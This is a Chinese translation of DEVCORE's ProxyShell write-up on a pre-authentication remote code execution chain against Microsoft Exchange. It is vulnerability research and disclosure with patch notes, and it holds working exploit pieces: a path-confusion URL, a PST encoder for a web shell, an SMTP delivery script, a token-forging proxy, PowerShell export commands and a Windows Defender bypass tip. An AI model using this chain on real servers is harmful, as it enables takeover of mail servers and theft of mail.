猎洞高手Orange Tsai 亲自讲解 ProxyShell write-up
编译:代码卫士
大家好,我是 DEVCORE 研究团队的 Orange Tsai。我将在本文介绍我们在 Pwn2Own 2021 大会上展示的利用链。它是微软 Exchange Server 上的一个预认证远程代码执行漏洞,我们将其称为 ProxyShell。本文将提供这些漏洞的更多详情。关于架构以及我们所发现的新攻击面内容,可参考链接 (https://devco.re/blog/2021/08/06/a-new-attack-surface-on-MS-exchange-part-1-ProxyLogon/)。
ProxyShell 由三个漏洞组成:
CVE-2021-34473:可导致 ACL 绕过的预认证路径混淆漏洞
CVE-2021-24523:在 Exchange PowerShell 后台的提权漏洞
CVE-2021-31207:可导致 RCE 的认证后任意文件写漏洞
未认证攻击者可利用 ProxyShell 漏洞通过被暴露的端口443在微软 Exchange Server 上执行任意命令。
CVE-2021-34473:预认证路径混淆
第一个漏洞类似于 ProxyLogon 中的 SSRF,当前端(被称为客户端访问服务或 CAS)在计算后端 URL 时,该漏洞也会出现。当客户端HTTP请求被归类为 Explicit Logon Request 时,Exchange 将规范化该请求 URL 并在将请求路由至后端前删除邮件箱地址。
Explicit Logon是Exchange 中的一个特殊功能,可使浏览器通过单个URL嵌入或展示某个特定用户的邮箱或日历。为实现该功能,这个URL必须是简单的而且包含要展示的邮箱地址。如:
https://exchange/OWA/user@orange.local/Default.aspx
我们研究发现,在某些句柄如 EwsAutodiscoverProxyRequestHandler 中,可通过查询字符串指定邮箱地址。由于 Exchange 并充分检查邮箱地址,我们可在 URL 规范化过程中通过查询字符串擦除部分URL,访问任意后端 URL。
HttpProxy/EwsAutodiscoverProxyRequestHandler.cs
protected override AnchorMailbox ResolveAnchorMailbox() {
if (this.skipTargetBackEndCalculation) {
base.Logger.Set(3, "OrgRelationship-Anonymous");
return new AnonymousAnchorMailbox(this);
}
if (base.UseRoutingHintForAnchorMailbox) {
string text;
if (RequestPathParser.IsAutodiscoverV2PreviewRequest(base.ClientRequest.Url.AbsolutePath)) {
text = base.ClientRequest.Params["Email"];
} else if (RequestPathParser.IsAutodiscoverV2Version1Request(base.ClientRequest.Url.AbsolutePath)) {
int num = base.ClientRequest.Url.AbsolutePath.LastIndexOf('/');
text = base.ClientRequest.Url.AbsolutePath.Substring(num + 1);
} else {
text = this.TryGetExplicitLogonNode(0);
}
string text2;
if (ExplicitLogonParser.TryGetNormalizedExplicitLogonAddress(text, ref text2) && SmtpAddress.IsValidSmtpAddress(text2))
{
this.isExplicitLogonRequest = true;
this.explicitLogonAddress = text;
//...
}
}
return base.ResolveAnchorMailbox();
}
protected override UriBuilder GetClientUrlForProxy() {
string absoluteUri = base.ClientRequest.Url.AbsoluteUri;
string uri = absoluteUri;
if (this.isExplicitLogonRequest && !RequestPathParser.IsAutodiscoverV2Request(base.ClientRequest.Url.AbsoluteUri))
{
uri = UrlHelper.RemoveExplicitLogonFromUrlAbsoluteUri(absoluteUri, this.explicitLogonAddress);
}
return new UriBuilder(uri);
}
从以上代码片段中可知,如果 URL 传递对 IsAutodiscoverV2PreviewRequest 的检查,则可通过查询字符串的Email 参数来指定 Explicit Logon 地址。由于该方法仅简单验证了 URL 的后缀,因此很容易指定该地址。
public static bool IsAutodiscoverV2PreviewRequest(string path) {
ArgumentValidator.ThrowIfNull("path", path);
return path.EndsWith("/autodiscover.json", StringComparison.OrdinalIgnoreCase);
}
public static bool IsAutodiscoverV2Request(string path) {
ArgumentValidator.ThrowIfNull("path", path);
return RequestPathParser.IsAutodiscoverV2Version1Request(path) || RequestPathParser.IsAutodiscoverV2PreviewRequest(path);
}
Explicit Logon 地址之后以参数的形式被传递给方法 RemoveExplicitLogonFromUrlAbsoluteUri,而该方法仅使用 Substring 擦除我们指定模式。
public static string RemoveExplicitLogonFromUrlAbsoluteUri(string absoluteUri, string explicitLogonAddress) {
ArgumentValidator.ThrowIfNull("absoluteUri", absoluteUri);
ArgumentValidator.ThrowIfNull("explicitLogonAddress", explicitLogonAddress);
string text = "/" + explicitLogonAddress;
int num = absoluteUri.IndexOf(text);
if (num != -1) {
return absoluteUri.Substring(0, num) + absoluteUri.Substring(num + text.Length);
}
return absoluteUri;
}
我们可设计如下 URL,滥用 Explicit Logon URL 的规范化进程:
https://exchange/autodiscover/autodiscover.json?@foo.com/?& Email=autodiscover/autodiscover.json%3f@foo.com
这个有问题的 URL 规范化流程可使我们在以 Exchange Server 机器账户运行时访问任意后端URL。尽管该 bug 不如 ProxyLogon 中的 SSRF 那样强大,而且我们仅可操纵 URL 的路径部分,但它仍然足够强大到使我们以任意后端访问权限执行更多攻击。
CVE-2021-34523:Exchange PowerShell 后端提权漏洞
截至目前,我们能够访问任意后端URL。余下的就是利用后了。由于Exchange 执行了深入的 RBAC 防御措施( /Autodiscover 中的 ProtocolType 不同于 /Ecp),ProxyLogon 中用于生成 ECP 会话而使用的低权限操作被禁止。因此,我们必须找到利用它的方法。在这里我们关注的是名为 “Exchange PowerShell Remoting” 的功能。
Exchange PowerShell Remoting 功能可使用户从命令行发送邮件、读取邮件、甚至更新配置。Exchange PowerShell Remoting 建立于 WS-Management 之上并未自动化执行无数的 Cmdlets。然而,认证和授权部分仍然基于原始的 CAS 架构。
应当注意的是,尽管我们可以访问 Exchange PowerShell 的后端,但仍然无法正确与之交互,因为并不存在User NT AUTHORITY\SYSTEM 的有效邮箱。我们也无法注入 X-CommonAccessToken 标头来伪造身份以冒充其它用户。
那我们能做什么?我们全面检查了 Exchange PowerShell 后端的实现,发现可利用一个有意思的代码通过URL指定用户身份。
Configuration\RemotePowershellBackendCmdletProxyModule.cs
private void OnAuthenticateRequest(object source, EventArgs args) {
HttpContext httpContext = HttpContext.Current;
if (httpContext.Request.IsAuthenticated) {
if (string.IsNullOrEmpty(httpContext.Request.Headers["X-CommonAccessToken"])) {
Uri url = httpContext.Request.Url;
Exception ex = null;
CommonAccessToken commonAccessToken = CommonAccessTokenFromUrl(httpContext.
User.Identity.ToString(), url, out ex);
}
}
}
private static CommonAccessToken CommonAccessTokenFromUrl(string user, Uri requestURI, out Exception ex) {
ex = null;
CommonAccessToken result = null;
string text = LiveIdBasicAuthModule.GetNameValueCollectionFromUri(requestURI).Get("X-Rps-CAT");
if (!string.IsNullOrWhiteSpace(text)) {
try {
result = CommonAccessToken.Deserialize(Uri.UnescapeDataString(text));
} catch (Exception ex2) {
// handle exception here
}
}
return result;
}
从代码片段可知,当 PowerShell 后端无法找到当前请求中的 X-CommonAccessToken 标头时,会试图反序列化并从查询字符串的 X-Rps-CAT 参数中恢复用户身份。该代码片段看似为内部 Exchange PowerShell 内部通信而设计。然而,由于我们能够直接访问该后端并在 X-Rps-CAT 中执行任意值,因此我们能够冒充任意用户。我们借此将自己从没有邮箱的系统账户“降级”至Exchange Admin。
现在,我们可以 Exchange Admin 身份执行任意 Exchange PowerShell 命令!
CVE-2021-31207:认证后任意文件写漏洞
该利用链的最后一步就是使用 Exchange PowerShell 命令找到认证后 RCE 技术。由于我们是管理员,可疑利用数百个命令,因此并不难办到。我们找到命令 New-MailboxExportRequest,将用户的邮箱导出到某个特定路径。
New-MailboxExportRequest -Mailbox orange@orange.local -FilePath
\\127.0.0.1\C$\path\to\shell.aspx
该命令对我们很有用,因为我们可借此在任意路径创建文件。更好的是,被导出的文件是一个存储着用户邮件的邮箱,因此我们可通过 SMTP 交付恶意 payload。但唯一的问题是,邮件内容并未以明文格式存储,因为我们无法在导出的文件中找到 payload。
我们发现输出是 Outlook Personal Folders (PST) 格式。从微软的官方文档中可知,该 PST 仅使用简单的 Permutative Encoding (NDB_CRYPT_PERMUTE) 来编码我们的payload。因此我们可以在将其发出之前编码该 payload,而当该服务器试图保存并编码 payload 时,就会将其转为原始的恶意代码。
def encode(payload):
mpbbCryptFrom512 = [
65, 54, 19, 98, 168, 33, 110, 187, 244, 22, 204, 4, 127, 100, 232, 93,
30, 242, 203, 42, 116, 197, 94, 53, 210, 149, 71, 158, 150, 45, 154, 136,
76, 125, 132, 63, 219, 172, 49, 182, 72, 95, 246, 196, 216, 57, 139, 231,
35, 59, 56, 142, 200, 193, 223, 37, 177, 32, 165, 70, 96, 78, 156, 251,
170, 211, 86, 81, 69, 124, 85, 0, 7, 201, 43, 157, 133, 155, 9, 160,
143, 173, 179, 15, 99, 171, 137, 75, 215, 167, 21, 90, 113, 102, 66, 191,
38, 74, 107, 152, 250, 234, 119, 83, 178, 112, 5, 44, 253, 89, 58, 134,
126, 206, 6, 235, 130, 120, 87, 199, 141, 67, 175, 180, 28, 212, 91, 205,
226, 233, 39, 79, 195, 8, 114, 128, 207, 176, 239, 245, 40, 109, 190, 48,
77, 52, 146, 213, 14, 60, 34, 50, 229, 228, 249, 159, 194, 209, 10, 129,
18, 225, 238, 145, 131, 118, 227, 151, 230, 97, 138, 23, 121, 164, 183, 220,
144, 122, 92, 140, 2, 166, 202, 105, 222, 80, 26, 17, 147, 185, 82, 135,
88, 252, 237, 29, 55, 73, 27, 106, 224, 41, 51, 153, 189, 108, 217, 148,
243, 64, 84, 111, 240, 198, 115, 184, 214, 62, 101, 24, 68, 31, 221, 103,
16, 241, 12, 25, 236, 174, 3, 161, 20, 123, 169, 11, 255, 248, 163, 192,
162, 1, 247, 46, 188, 36, 104, 117, 13, 254, 186, 47, 181, 208, 218, 61
]
tmp = ''
for i in payload:
tmp += chr(mpbbCryptFrom512.index(ord(i)))
assert '\n' not in tmp and '\r' not in tmp
return tmp
Exploit
让我们把所有都链接在一起!
步骤1:恶意 payload 交付
首先,通过 SMTP 将已编码的 web shell 交付给目标邮箱。如目标邮件服务器不支持越权用户发送邮件,则也可使用 Gmail 从外部交付恶意 payload。
from_mail = 'attacker@exchange.local'
to_mail = 'orange@exchange.local'
payload = 'webshell code here...'
msg = MIMEText(None, _subtype='plain')
msg.set_payload('hi', 'utf-8')
msg['Subject'] = 'exploit'
msg['From'] = from_mail
msg['To'] = to_mail
msg['TEST'] = ('A'*16) + encode(payload) + ('A'*16)
msg = msg.as_string().replace('\n', '\r\n')
r = smtplib.SMTP('exchange.local', port=25)
r.sendmail(from_mail, to_mail, msg)
步骤2:PowerShell 会话建立
由于 PowerShell 建立于 WinRM 协议基础之上,实现通用的 WinRM 客户端并不容易,因此我们使用代理服务器劫持 PowerShell 连接并修改该流量。首先,我们将 URL 重写到 EwsAutodiscoverProxyRequestHandler 的路径,触发该路径混淆 bug 并使我们访问 PowerShell 后端。之后我们将参数 X-Rps-CAT 插入查询字符串以冒充任意用户。这里,我们可指定 Exchange Admin 的 SID 成为管理员!
app = Flask(__name__)
@app.route('/<path:path>', methods = ['POST', 'GET'])
def index(path):
if request.method == 'GET':
return 'ok'
# check data
data = request.stream.read()
action = re.search(r'<a:Action s:mustUnderstand="true">(.+?)</a:Action>', data)
assert action, "WinRM action not found"
# modify headers
req_headers = {}
for k, v in request.headers.iteritems():
if k == 'Host':
v = HOST
if k == 'Authorization':
continue
req_headers[k] = v
# create X-Rps-CAT token
token = b64encode(create_token(SID, LOGON_NAME))
# rewrite to `autodiscover` and trigger the path confusion bug
r = exploit('/Powershell?X-Rps-CAT=' + token, headers=req_headers, data=data)
# make response
resp = Response(r.content, status=r.status_code)
for k, v in r.headers.iteritems():
if k in ['Content-Encoding', 'Content-Length', 'Transfer-Encoding']:
continue
resp.headers[k] = v
return resp
app.run(host="127.0.0.1", port=8000)
步骤3:恶意 PowerShell 命令执行
在所建立的 PowerShell 会话中,我们执行如下 PowerShell 命令:
1、New-ManagementRoleAssignment,获得 Mailbox Import Export 角色
2、New-MailboxExportRequest,将包含恶意 payload 的邮箱导出到 webroot,作为 web shell。
$uri = 'http://127.0.0.1:8000/PowerShell/'
$username = 'whatever' # unimportant
$password = 'whatever' # unimportant
$secure = ConvertTo-SecureString $password -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential -ArgumentList ($username, $secure)
$option = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$params = @{
ConfigurationName = "Microsoft.Exchange"
Authentication = "Basic"
ConnectionUri = $uri
Credential = $creds
SessionOption = $option
AllowRedirection = $ture
}
$session = New-PSSession @params
Invoke-Command -Session $session -ScriptBlock {
# PowerShell commands to execute...
}
其它说明
自 ProxyLogon 漏洞后,Windows Defender 开始拦截 Exchange Server webroot 下的危险行为。为成功地在 Pwn2Own 大会上获得 shell,我们花了一点时间绕过 Defender。我们发现,如果我们直接调用 cmd.exe,则 Defender 会实施拦截。然而,如果首先将 cmd.exe 通过 Scripting.FileSystemObject 复制到 webroot 下的 <random>,exe并执行,则运行成功且Defender 不会有任何操作。
另外一处需要说明的是,如果组织机构使用 Exchange Server 集群,则有时候会发生 InvalidShellID 异常。造成这个问题的原因在于在处理加载均衡器时我们需要一点运气。这时候可尝试捕获异常并再次发送请求。
最后一步,shell 获取成功!
补丁
微软已在4月和5月修复所有的这三个漏洞,但在三个月之后才公布补丁并分配CVE编号。微软给出的理由是4月份发布的更新虽然解决了漏洞但遗漏了CVE编号。
至于 CVE-2021-31207,则微软并未修复任意文件写漏洞,但使用白名单将文件扩展限制为 .pst、.eml 或 .ost。
至于在4月修复但在7月发布 CVE 的漏洞,Exchange 目前会检查 IsAuthenticated 的值,确保所有前端请求在生成访问后端的 Kerberos 工单时经过验证。
结论
尽管四月的补丁缓解了该新型攻击面的认证部分,但CAS 仍然是安全研究员猎洞的好去处。实际上,我们在4月补丁后还发现了其它一些漏洞。总之,Exchange Server 是一个挖洞的宝藏去处。如我们之前所言,即使在2020年,仍然可在Exchange Server 中找到硬编码密钥。我可以向大家保证,未来微软将修复更多的 Exchange 漏洞。
对于系统管理员而言,由于它是一个架构问题,因此缓解攻击面不可能一劳永逸。管理员能做得就是持续更新 Exchange Server并限制其在互联网的外部暴露。至少,应该应用4月发布的累积更新,阻止大部分的这类预认证漏洞!
Black Hat USA 2021主议题介绍
微软:确实存在另一枚 print spooler 0day,目前尚未修复
微软8月补丁星期二值得关注的几个0day、几个严重漏洞及其它
奇安信代码安全实验室研究员入选“2021微软 MSRC 最具价值安全研究者”榜单
https://www.zerodayinitiative.com/blog/2021/8/17/from-pwn2own-2021-a-new-attack-surface-on-microsoft-exchange-proxyshell
题图:Pixabay License
本文由奇安信编译,不代表奇安信观点。转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。
奇安信代码卫士 (codesafe)
国内首个专注于软件开发安全的产品线。